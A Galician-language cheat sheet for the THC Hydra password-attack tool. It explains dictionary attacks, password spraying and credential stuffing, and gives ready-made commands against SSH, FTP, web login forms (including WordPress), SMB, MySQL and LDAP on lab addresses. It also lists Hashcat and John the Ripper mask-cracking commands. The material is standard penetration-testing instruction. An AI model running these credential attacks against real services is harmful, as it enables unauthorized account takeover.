Ir ao contido

hydra – Ataques de autenticación multiprotocolo

Descrición

Hydra (THC Hydra) é unha ferramenta moi flexible para realizar ataques de autenticación online contra múltiples servizos (SSH, FTP, HTTP/HTTPS, SMB, bases de datos, etc.).

Permite executar:

  • ataques de diccionario,
  • password spraying (poucos contrasinais, moitos usuarios),
  • credential stuffing (pares user:pass),
  • e tamén variantes de forza bruta limitada usando wordlists.

Hydra non realiza forza bruta pura con máscaras (probar todas as combinacións posibles): esa tarefa corresponde a ferramentas offline como Hashcat ou John the Ripper.


Diccionario vs forza bruta (clásica)

Os exemplos deste ficheiro usan diccionario online, é dicir, probas contra un servizo usando unha wordlist.
A forza bruta real implica probar todas as combinacións posibles (aaaa → zzzz, patróns de tipo ?l?l?d?d…), algo inviable contra servizos online debido a límites de intentos e bloqueos de conta.
Para máscaras e forza bruta pura deben usarse ferramentas offline, como Hashcat ou John, traballando sobre ficheiros de hashes.


Sintaxe básica

hydra [opcións] <módulo/protocolo>://<IP>[:porto]

# nalgúns casos:
hydra [opcións] <IP> <protocolo>

Opcións principais

Opción Descrición
-l <usuario> Usuario único
-L <ficheiro> Lista de usuarios
-p <password> Contrasinal única
-P <ficheiro> Wordlist de contrasinais
-s <porto> Porto personalizado
-t <threads> Número de threads paralelos (por defecto: 16)
-f / -F Parar ao atopar a primeira credencial válida
-V / -v Modo verbose
-I Ignorar ficheiro de restore previo
-o <ficheiro> Gardar resultados
-e <opcións> Probas adicionais: n (null), s (igual que login), r (reverse)
-C <ficheiro> Ficheiro con pares user:pass (credential stuffing)

Protocolos soportados — Exemplos


SSH (diccionario)

## Diccionario para un usuario
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.100

## Con porto personalizado
hydra -l admin -P wordlist.txt -s 2222 ssh://192.168.56.100

## Múltiples usuarios
hydra -L users.txt -P wordlist.txt ssh://192.168.56.100

## Máis threads e parar ao atopar a primeira credencial válida
hydra -l root -P wordlist.txt ssh://192.168.56.100 -F -V -t 64

## Probar null password, same-as-login e reverse-login
hydra -L users.txt -P wordlist.txt ssh://192.168.56.100 -e nsr

FTP (diccionario / credential stuffing)

## Diccionario FTP
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.100

## FTP con threads aumentados
hydra -l ftp -P wordlist.txt ftp://192.168.56.100 -F -V -t 64

## Usuario anónimo
hydra -l anonymous -p "" ftp://192.168.56.100

## Credential stuffing (ficheiro combos.txt onde cada liña ten o formato user:pass)
hydra -C combos.txt ftp://192.168.56.100

HTTP POST Form (formularios web)

## WordPress login (diccionario contra un usuario)
hydra -l peter -P wordlist.txt doamin.nyx http-post-form \
"/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:F=Error: The password you entered for the username" -F -V -t 64

## Estructura xeral
hydra -l USER -P PASS IP http-post-form \
"PATH:PARAMS:FAILURE_STRING"

## Con cookie de sesión
hydra -l admin -P wordlist.txt 192.168.56.100 http-post-form \
"/login:username=^USER^&password=^PASS^:F=incorrect:H=Cookie: PHPSESSID=abc123"

## HTTPS (formularios sobre TLS)
hydra -l admin -P wordlist.txt example.com https-post-form \
"/login:user=^USER^&pass=^PASS^:F=failed"

Parámetros importantes:

  • PATH: ruta do formulario
  • PARAMS: parámetros POST (^USER^ e ^PASS^)
  • F= → cadea que indica fallo
  • S= → cadea que indica éxito
  • H= → cabeceiras adicionais (cookies, tokens…)

Telnet

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.56.100 telnet

SMB

hydra -l administrator -P wordlist.txt smb://192.168.56.100

MySQL

hydra -l root -P wordlist.txt mysql://192.168.56.100

LDAP (bind attempts)

hydra -L /labs/users.txt -P /labs/wordlists/ad_common.txt ldap://<TARGET>

Sección extra: forza bruta con máscaras (offline)

Hydra non realiza forza bruta real con xeración de combinacións.
As máscaras e o brute force clásico realízanse en cracking offline:

Hashcat – Examples

## 2 maiúsculas + 4 minúsculas + 2 díxitos
hashcat -m <HASH_TYPE> -a 3 hashes.txt ?u?u?l?l?l?l?d?d

## 6 díxitos
hashcat -m <HASH_TYPE> -a 3 hashes.txt ?d?d?d?d?d?d

## Híbrido wordlist + máscara
hashcat -m <HASH_TYPE> -a 6 hashes.txt rockyou.txt ?d?d

John the Ripper – Examples

## Incremental (todas as combinacións segundo perfil)
john --incremental hashes.txt

## Máscara personalizada
john --mask='?u?l?l?d?d?d' hashes.txt

Por que non usar máscaras con Hydra?

As máscaras requiren avaliar millóns de combinacións.
Isto é inviable contra servizos online (SSH, FTP, LDAP…), que teñen límites de intentos e bloqueos de conta.
Por iso, as máscaras úsanse só en cracking offline.

Notas prácticas

  • Hydra é perfecto para ataques online baseados en diccionario, spraying e combos.
  • Para forza bruta real → usar Hashcat/John (offline).
  • A opción -t controla threads: máis threads = máis velocidade pero máis ruído nos logs.
  • Usar sempre wordlists filtradas en servizos sensibles a bloqueo.